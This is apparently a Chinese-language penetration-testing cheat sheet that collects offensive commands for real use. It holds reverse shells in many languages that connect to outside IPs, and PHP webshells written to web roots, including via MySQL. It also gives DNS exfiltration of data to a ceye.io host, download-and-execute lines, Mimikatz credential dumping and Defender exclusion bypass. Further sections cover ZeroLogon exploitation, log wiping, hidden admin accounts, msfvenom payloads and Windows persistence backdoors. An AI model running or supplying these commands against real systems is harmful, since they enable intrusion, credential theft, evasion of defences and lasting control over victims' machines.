command
收集渗透中会用到的常用命令
java命令执行
http://www.jackson-t.ca/runtime-exec-payloads.html
1 | bash -c {echo,cGluZyAxMjcuMC4wLjE7ZWNobyAxID50ZXN0LnR4dA==}|{base64,-d}|{bash,-i} |
写shell
在windows中,批处理需要转义字符主要有 “&”,“|”,“<”,“>”等等,转义字符为”^”
在Linux中,需要转义字符主要是 单引号 或者双引号 对于单引号,我们将其替换为\47即可。
windows命令行最大长度为8191,16进制长度是113898。echo写文件时注意长度。
方法1
1 | set /p=qaxnb<nul>d:\1d13.txt |
方法2
1 | echo qaxnb>1we.txt |
追加内容
1 | echo qaxnb>>1we.txt |
不换行追加
1 | set /p="121d2">>a.txt |
规避空格
1 | echo.123>>a.txt |
写特殊字符很多的文件,可以用certutil编码再还原。
如下还原
1 | certutil -f -decode 111.txt C:\\111.jsp |
linux下base64
1 | echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php |
php的
1 | echo \<\?php eval\(\@\$_POST\[1\]\)\; \?\> >1.php |
绕过空格
1 | > < <> 重定向符 |
nmap
1 | nmap -sn 10.11.1.0/24 |
1 | nmap -sV -p- 10.11.1.0 |
1 | nmap 10.11.1.0 --script vuln |
1 | nmap -p445 10.11.1.0 --script smb-vuln-ms17-010 |
1 | nmap -v -sn -PE -n --min-hostgroup 1024 --min-parallelism 1024 -oG tmp -iL ip.txt | awk '{print $5}' | grep -v "latency)." >ok_ip.txt |
端口列表
1 | 22,23,135,445,389,3389,80,443,8080,7001,3306,1433,1521,6379,27017,2375,5900,5432,4899 |
字典
top200
1 | 123456 |
Mimikatz
一条命令
1 | .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit |
控制台执行多条命令,用log防止进程崩溃,数据丢失
1 | mimikatz # privilege::debug |
msf中执行命令
1 | mimikatz_command -f sekurlsa::logonPasswords full |
注册表开启wdigest,08r2后默认关闭。需要目标注销,重新登录。2016需要重启。
1 | reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /f /d 1 |
bypass lsa Protection(ppl)
查询是否启用
1 | reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa |
把mimidriver.sys拷贝到同级目录,进行加载bypass
1 | mimikatz # !+ |
cs凭证解析
提取用户名
1 | awk -F":::" '{print $1}' credentials.txt | awk -F"\\" '{print $2}' |
提取hash
1 | awk -F":::" '{print $2}' credentials.txt |
存活主机
1 | for /L %I in (1,1,256) DO @ping -w 1 -l 1 192.168.202.%I | findstr “TTL=” |
bypass
Defender排除项
1 | powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath "C:\test" |
gobuster
1 | gobuster dir -u https://buffered.io -w ~/wordlists/shortlist.txt |
dirsearch
1 | python3 dirsearch.py -e php,html,js -u https://target |
1 | python3 dirsearch.py -e php,html,js -u https://target -w /path/to/wordlist |
1 | python3 dirsearch.py -e php,htm,js,bak,zip,tgz,txt -u https://target -t 20 |
1 | python3 dirsearch.py -e php,html,js -u https://target --proxy 127.0.0.1:8080 |
1 | python3 dirsearch.py -e php,html,js -u https://target --proxy socks5://10.10.0.1:8080 |
nbtscan
1 | nbtscan.exe 10.11.1.0/24 |
代理工具
proxychain
sockscap64
proxifier
https://drive.google.com/drive/folders/1x5naJeK2YkV6QCYUlUg5QNMl1Izf4-ti
https://www.mediafire.com/folder/32rj1769a2w82/v4.7
内网穿透工具
fuso
- https://github.com/editso/fuso.git
- 相对冷门,不会被杀
在9004上开启socks5代理1
fuc.exe 159.138.0.0 9003 -h 127.0.0.1 -p 9004 -b 9004 -n test -t socks5 --bridge-host 0.0.0.0 --bridge-port 9004
frp
nps
iox
Stowaway
https://github.com/lz520520/Stowaway
Venom
https://github.com/Dliv3/Venom
ssh
无记录shell
1 | ssh -T root@192.168.1.1 /usr/bin/bash -i |
grep
1 | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r xxx --color=auto |
1 | grep -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" -r xxx --color=auto |
1 | grep -EHirn "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" APKfolder/ |
1 | grep -ohr -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" /app/ |sort|uniq >> test.txt |
mysql
开远程
1 | use mysql; |
不登录直接执行sql
1 | mysql -uaHmin -proot test -e "select now()" -N >H:/work/target1.txt |
mysql getshell
1 | show variables like '%secure%' |
1 | set global general_log=on; |
1 | select '<?php file_put_contents("abab.php",base64_decode("Jmx0Oz9waHANCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQpzZXNzaW9uX3N0YXJ0KCk7DQogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IA0KCSRfU0VTU0lPTlsmIzM5O2smIzM5O109JGtleTsNCgkkcG9zdD1maWxlX2dldF9jb250ZW50cygicGhwOi8vaW5wdXQiKTsNCglpZighZXh0ZW5zaW9uX2xvYWRlZCgmIzM5O29wZW5zc2wmIzM5OykpDQoJew0KCQkkdD0iYmFzZTY0XyIuImRlY29kZSI7DQoJCSRwb3N0PSR0KCRwb3N0LiIiKTsNCgkJDQoJCWZvcigkaT0wOyRpJmx0O3N0cmxlbigkcG9zdCk7JGkrKykgew0KICAgIAkJCSAkcG9zdFskaV0gPSAkcG9zdFskaV1eJGtleVskaSsxJjE1XTsgDQogICAgCQkJfQ0KCX0NCgllbHNlDQoJew0KCQkkcG9zdD1vcGVuc3NsX2RlY3J5cHQoJHBvc3QsICJBRVMxMjgiLCAka2V5KTsNCgl9DQogICAgJGFycj1leHBsb2RlKCYjMzk7fCYjMzk7LCRwb3N0KTsNCiAgICAkZnVuYz0kYXJyWzBdOw0KICAgICRwYXJhbXM9JGFyclsxXTsNCgljbGFzcyBDe3B1YmxpYyBmdW5jdGlvbiBfX2ludm9rZSgkcCkge2V2YWwoJHAuIiIpO319DQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7DQo/Jmd0Ow0K"));?>' into outfile 'C:/wamp/www/abb.php'; |
sqlmap
1 | python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" --proxy "http://127.0.0.1:1080" |
1 | python sqlmap.py -u "http://www.vuln.cn" –cookie "id=11" --level 2 |
1 | python sqlmap.py -u "www.xxxx.com/product/detail/id/3*.html" --dbms=mysql -v 3 |
1 | python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" --dbms mysql --dbs |
1 | python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" --dbms mysql -D test --tables |
1 | python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" --dbms mysql -D test -T admin –-columns |
1 | python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" --dbms mysql -D test -T admin -C "username,password" --dump |
1 | python sqlmap.py -r "c:\request.txt" -p id –dbms mysql –file-read="e:\www\as\config.php" |
找可写目录
1 |
|
示例:在weblogic靶机/root 所有war文件夹下的finddir.txt文件中写入该war文件夹的路径。
1 | find /root -name war|while read file;do sh -c "echo $file">$file/finddir.txt;done |
程序名找启动路径
1 | wmic process where name='mysqld.exe' get processid,executablepath,name |
启动路径找login.jsp
1 | for /f %i in ('dir /s /b D:\UFGOV\U8\login.jsp') do (echo %i) |
base64分段不换行追加写文件
1 | echo|set /p=\"PCFET0NUWVBFIGh0bWw+IDxodG1sPiA8aGVhZD4gPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+PGgxPjIwMjHlubR4eHjnvZHnu5zlronlhajlrp7miJjmvJTnu4M8L2gxPg==\" > D:\UFGOV\U8\webapps\demonstrate.txt |
解决cmd无回显问题
1 | powershell Get-ChildItem C: |
hydra
1 | 参数: |
medusa
1 | 参数: |
python交互shell
1 | python3 -c "import pty;pty.spawn('/bin/bash')" |
1 | python2 -c 'import pty;pty.spawn("/bin/sh")' |
无交互添加用户
1 | useradd newuser;echo "newuser:password"|chpasswd |
1 | useradd -p `openssl passwd 123456` guest |
1 | useradd -p "$(openssl passwd 123456)" guest |
1 | useradd newuwer;echo -e "123456\n123456\n" |passwd newuser |
windows
1 | net user admin$ Afabab@20 /add |
防火墙
1 | 关闭防火墙 |
frp常用配置
frpc.ini
1 | [common] |
ZeroLogon
- 产生日志 4742(利用成功), 5580(利用失败)
- 流量特征明显
- 会被av直接秒
- 有可能会导致目标脱域
- 代理不稳,容易出问题
1 | git clone https://github.com/mstxq17/cve-2020-1472.git |
洞清空目标域控机器账户密码
1 | python3 cve-2020-1472-exploit.py Dc02$ 172.23.119.120 |
无密码远程提取 ntds.dit
1 | python3 secretsdump.py qq.local/'Dc02$'@172.23.119.120 -no-pass -outputfile qq.local.ntds.hash |
用 administrator 域管账户 hash 远程导出域控机器账户 hash [hex 格式]
1 | python3 secretsdump.py -hashes :ccef208c6485269c20db2cad21734fe7 qq/administrator@172.23.119.120 |
用上面的 hex 还原目标域控机器账户密码
1 | python3 restorepassword.py Dc02@Dc02 -target-ip 172.23.119.120 -hexpass daf1d2acc25d2e54218921737a40d58192b9bcdf089ddbeaf9f7931571b07916f96e2c51d8d00f56d2440c13c0e5586e2dafd1669e37131*** |
删rdp日志
清除远程桌面连接记录,创建clear.bat
1 | @echo off |
开3389
1 | 系统windows server 2003后 |
文件搜索
https://www.anquanke.com/post/id/245019
1 | findstr /s /i /n /d:C:\ /c:"123123" *.txt |
1 | for /r C: %i in (login.*) do @echo %i |
1 | where /R C: login.* |
1 | dir /s/a-d/b login.* |
1 | find / -name index.php |
1 | find / -name index.php |
1 | find / -name "index.php" | xargs grep "111222" |
1 | updatedb && locate index.php |
1 | 进程路径 |
外带oob
Windows
在windows当中,%cd% 代表的是当前目录,我们通过echo将当前目录写入文本temp,然后荣国certutil对文件内容进行base64编码,再过滤certutil携带的字符,将它赋给一个变量,最后通过nslookup外带出来,从而实现获取当前目录的目的。
1 | echo %cd% > temp&&certutil -encode temp temp1&&findstr /L /V "CERTIFICATE" temp1 > temp2&&set /p ADDR=<temp2&&nslookup %ADDR%.is1lv6.ceye.io |
下面这个语句,主要是过滤作用。把helo.txt文件中的“=”过滤并重新输出文件。
1 | for /f "delims=^= tokens=1,*" %i in (helo.txt) do (echo %i>>text3.txt) |
为什么在上面需要过滤=,主要是因为在执行ping命令的时候是不允许带=号的,相较于nslookup,ping命令成功率相对较高,但如果路径过长,可能会导致失败。具体多长需要大家自行试验。
1 | echo %cd% > temp&&certutil -encode temp temp1&&findstr /L /V "CERTIFICATE" temp1 > temp2&&for /f "delims=^= tokens=1,*" %i in (temp2) do (echo %i>>temp3)&&set /p ADDR=<temp3&ping %ADDR%.is1lv6.ceye.io |
如果需要外带多行命令,则需要以下语句:
1 | where /R C: login.* > test && certutil -encodehex -f test test.hex 4 && powershell $text=Get-Content test.hex;$sub=$text -replace(' ','');$j=11111;foreach($i in $sub){ $fin=$j.tostring()+'.'+$i+'.is1lv6.ceye.io';$j += 1; nslookup $fin } |
在linux中pwd也是查看当前目录的,我们通过tr -d将换行符去掉并通过xxd -ps将值转化为16进制,这样我们即可外带出自己想要的东西。
1 | ping pwd|tr -d '\n'|xxd -ps.is1lv6.ceye.io |
base64原理和上面类似,主要是对值进行base64编码,然后替换掉“=”,即可成功外带数据。
1 | pingpwd|base64|tr -d ‘=’.is1lv6.ceye.io |
如果有多行数据需要外带,那么请考虑下面的语句。
1 | var=11111 && for b in $(find / -name "index.php" | xargs grep "111222"|xxd -p); do var=$((var+1)) && dig $var.$b.is1lv6.ceye.io; done |
powershell文件下载
1 | powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1/1.exe','C:\test\1.exe');start-process 'C:\test\1.exe' |
1 | powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1/1.exe','1.exe') |
1 | Invoke-Expression (New-Object Net.WebClient).DownloadString("http://xxx.xx.xx.xx/test.ps1") |
bypass
1 | echo (new-object System.Net.WebClient).DownloadFile('http://192.168.31.93:8000/tomcat.exe','C:/Users/test/cc.exe')| powershell - |
certutil.exe下载
1 | certutil.exe -urlcache -split -f http://192.168.1.1/1.exe |
1 | certutil.exe -urlcache -split -f http://192.168.1.1/1.txt 1.exe |
1 | certutil.exe -urlcache -split -f http://192.168.6.27:8012/download/f.ext C:\windows\temp\up.exe &&start C:\windows\temp\up.exe |
删除缓存
1 | certutil.exe -urlcache -split -f http://192.168.1.1/1.exe delete |
查看缓存项目:
1 | certutil.exe -urlcache * |
转为base64
1 | certutil -encode lcx64.exe lcx64.txt |
转回来
1 | certutil -decode lcx64.txt lcx64.exe |
查看md5
1 | certutil -hashfile a.exe MD5 |
bypass
1 | Certutil & Certutil –urlcache –f –split url |
bitsadmin
不支持https、ftp协议,php python带的服务器会出错
1 | bitsadmin /transfer n http://192.168.1.1/1.exe C:\test\update\1.exe |
windows权限维持
Startup目录
1 | NT6以后的目录如下: |
注册键
1 | reg add "XXXX" /v evil /t REG_SZ /d "[Absolute Path]\evil.exe" |
1 | 1.Load注册键 |
服务
1 | sc create evil binpath= "cmd.exe /k [Absolute Path]evil.exe" start= "auto" obj= "LocalSystem" |
计划任务
1 | SCHTASKS /Create /RU SYSTEM /SC ONSTART /RL HIGHEST /TN \Microsoft\Windows\evil\eviltask /TR C:\Users\hunter\Desktop\evil.exe |
WMI事件
1 | wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="evil", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 310" |
屏幕保护
1 | reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d C:\Users\hunter\Desktop\beacon.exe /f |
bitsadmin
1 | bitsadmin /create evil |
Netsh白加黑
1 | 可以通过导入helperdll的方式做权限维持,命令格式如下: |
MSDTC
在默认的Windows安装中,System32文件夹中缺少oci.dll这个文件,在获得写权限的情况下可以在该文件夹下写入一个同名的dll,服务启动时执行恶意代码。
默认情况下,由于启动类型设置为“手动”,通过以下命令设置自启:
1 | sc qc msdtc |
windows信息收集常用命令
1 | Systeminfo 计算机详细信息(补丁信息) |
at&schtasks&sc横向
使用明文密码登录到目标,需要445和139端口开启:
1 | net use \\192.168.2.148\ipc$ password /user:test\administrator |
impacket包横向命令
下载https://github.com/maaaaz/impacket-examples-windows
https://github.com/ropnop/impacket_static_binaries/releases
Atexec
1 | 需要445端口开启 |
dcomexec
1 | 需要135端口开启 |
psexec
1 | 官方Psexec第一种利用方法:可以先有ipc链接,再用psexec运行相应的程序: |
smbexec
1 | 需要445端口开启 |
wmi
1 | WMI利用135端口,支持明文和hash两种方式进行身份验证,且系统日志不记录。 |
批量操作,需要保存为bat执行
1 | 用已知密码和用户,批量连接ip: |
cme 批量
1 | proxychains4 ./cme smb 10.0.0.1/24 -u administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 -d xx.org -x "net user" |
单独执行命令
1 | crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami |
ldap喷洒
1 | cme ldap 10.11.12.211 -u 'username' -p 'password' --kdcHost 10.11.12.211 --users |
反弹shell
nc
1 | nc -lvvp 4444 |
bash
1 | bash -i >& /dev/tcp/172.16.1.130/4444 0>&1 |
perl
1 | perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
python
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.41",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
php
1 | php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' |
ruby
1 | ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
nc
1 | nc -e /bin/sh 10.0.0.1 1234 |
java
1 | r = Runtime.getRuntime() |
lua
1 | lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" |
powershell
1 | powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.130 -port 4444 |
加密shell
1 | mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.100:2333 > /tmp/s; rm /tmp/s |
msf大全
到处抄的
https://www.freebuf.com/articles/web/270456.html
https://saucer-man.com/information_security/79.html
https://www.anquanke.com/post/id/235631
https://www.anquanke.com/post/id/164525
安装
安装
1 | # 安装 |
payload生成
Linux
1 | 反向连接: |
Windows
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe |
Mac
1 | msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho |
PHP
1 | msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php |
ASP
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp |
JSP
1 | msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp |
WAR
1 | msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war |
执行方式:将shell.php放在web目录下,使用浏览器访问,或者使用以下命令执行:
1 | php shell.php |
3.脚本shell
Python
1 | msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py |
Bash
1 | msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh |
Perl
1 | msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl |
执行方式:复制shell.py中的内容在linux命令行下执行:
1 | python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zICAgICAgOyAgICBob3N0PSIxOTIuMTY4Ljg4LjEyOCIgICAgICA7ICAgIHBvcnQ9NDQ0NCAgICAgIDsgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgIHMuY29ubmVjdCgoaG9zdCxwb3J0KSkgICAgICA7ICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKSAgICAgIDsgICAgb3MuZHVwMihzLmZpbGVubygpLDEpICAgICAgOyAgICBvcy5kdXAyKHMuZmlsZW5vKCksMikgICAgICA7ICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))" |
4.shellcode
Linux Based Shellcode
1 | msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language> |
Windows Based Shellcode
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language> |
Mac Based Shellcode
1 | msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language> |
Meterpreter基本命令
首先需要先获取meterpreter:
1 | use exploit/multi/handler |
如果先获取了cmd,比如利用ms17-010,默认使用的payload返回的就是cmd。这时候我们可以使用sessions-u 2
来将cmdshell升级成meterpreter。
获取到了meterpreter,就可以进行后渗透了。
基本系统命令
1 | # 会话管理 |
文件系统命令
1 | cat/ls/cd/rm # 基本命令 |
网络命令
1 | # 基本 |
信息收集
1 | # 信息收集的脚本位于: |
提权
1.getsystem提权
getsystem工作原理:
①getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。
②getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。
③Windows服务已启动,导致与命名管道建立连接。
④该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。
然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。
1 | getsystem |
2.bypassuac
用户帐户控制(UAC)是微软在 Windows Vista 以后版本引入的一种安全机制,有助于防止对系统进行未经授权的更改。应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员专门给系统授予管理员级别的访问权限。UAC 可以阻止未经授权的应用程序进行自动安装,并防止无意中更改系统设置。
msf提供了如下几个模块帮助绕过UAC:
1 | msf5 auxiliary(server/socks5) > search bypassuac |
使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限
1 | # 示例 |
3.内核漏洞提权
无论是linux还是windows都出过很多高危的漏洞,我们可以利用它们进行权限提升,比如windows系统的ms13-081、ms15-051、ms16-032、ms17-010等,msf也集成了这些漏洞的利用模块。
1 | meterpreter > run post/windows/gather/enum_patches #查看补丁信息 |
获取凭证
在内网环境中,一个管理员可能管理多台服务器,他使用的密码有可能相同或者有规律,如果能够得到密码或者hash,再尝试登录内网其它服务器,可能取得意想不到的效果。
1.使用mimikatz
1 | load mimikatz #help mimikatz 查看帮助 |
- 使用meterpreter的run hashdump命令
1 | meterpreter > run hashdump |
3.post/windows/gather/smart_hashdump
从上面也可以看出官方推荐post/windows/gather/smart_hashdump
1 | meterpreter > run post/windows/gather/smart_hashdump |
4.powerdump
同 hashdump,但失败了
1 | meterpreter > run powerdump |
假冒令牌
在用户登录windows操作系统时,系统都会给用户分配一个令牌(Token),当用户访问系统资源时都会使用这个令牌进行身份验证,功能类似于网站的session或者cookie。
msf提供了一个功能模块可以让我们假冒别人的令牌,实现身份切换,如果目标环境是域环境,刚好域管理员登录过我们已经有权限的终端,那么就可以假冒成域管理员的角色。
1 | # 1.incognito假冒令牌 |
植入后门
Meterpreter仅仅是在内存中驻留的Shellcode,只要目标机器重启就会丧失控制权,下面就介绍如何植入后门,维持控制。
1.persistence启动项后门
路径:metasploit/scripts/meterpreter/persistence
原理是在C:\Users***\AppData\Local\Temp\
目录下,上传一个vbs脚本,在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\
加入开机启动项,很容易被杀软拦截,官方不推荐
1 | run persistence –h #查看帮助 |
能实现同样功能的脚本还有:exploit/windows/local/persistence
2.metsvc服务后门
在C:\Users\AppData\Local\Temp\目录下,上传一个vbs脚本
在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项。通过服务启动,需要管理员权限,官方不推荐使用,运行失败*
1 | run metsvc –A #自动安装后门 |
三个文件上传成功,但服务没有启动起来,失败了。使用-r
参数可卸载服务。
3.persistence_exe
再来看看官方推荐的东西吧
1 | meterpreter > info post/windows/manage/persistence_exe |
此模块将可执行文件上载到远程主机并进行创建持久性。
涉及到四个参数
- REXENAME是拷贝到目标系统中的名字
- EXEPATH是将要上传的后门在本地的位置
- SESSION是选择运行此模块的会话
- STARTUP是启动类型,有USER、SYSTEM、SERVICE这三种取值,USER表示为将在用户登录时启动,SYSTEM表示将在系统启动时启动(需要权限),SERVICE表示将创建一个启动服务项(需要权限)。
尝试一下:
1 | meterpreter > run post/windows/manage/persistence_exe REXENAME=backdoor.exe REXEPATH=/home/ubuntu/shell.exe STARTUP=USER |
4.registry_persistence
完整路径为exploit/windows/local/registry_persistence
和第一种方法类似,此模块将会安装一个payload到注册表的启动项中。
1 | meterpreter > background |
同类型的还有其他payload,如exploit/windows/local/vss_persistence,exploit/windows/local/s4u_persistence。
cs大全
cs派生msf
1 |
|